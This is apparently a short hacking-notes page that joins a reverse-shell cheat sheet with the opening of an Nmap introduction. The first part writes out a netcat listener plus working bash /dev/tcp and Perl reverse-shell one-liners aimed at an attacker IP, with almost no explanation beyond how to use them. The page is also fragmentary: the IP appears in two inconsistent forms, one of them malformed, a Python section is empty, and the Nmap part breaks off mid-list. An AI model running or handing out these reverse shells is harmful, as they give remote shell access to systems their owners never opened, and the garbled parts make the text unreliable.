Seek4samurai

The following examples assums the hacker IP is 10.20.14 and use port 8080 for the connection.
Therefore in all f these cases you need to listen for port 8080 using the foolowing command `nc -vv -l -p 8080`

BASH
bash -i >& /dev/tcp/10.20.14.203/8080 0>&1

PERL
perl -e 'use Socket;$i="10.20.14";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python

Seek4samurai

Nmap ("Network Mapper") is a free and open source utility for network discovery and security auditing.

Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, 
what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics.

To scan a host:

nmap www.hostname.com

To scan a range of IP addresses (.1 – .10):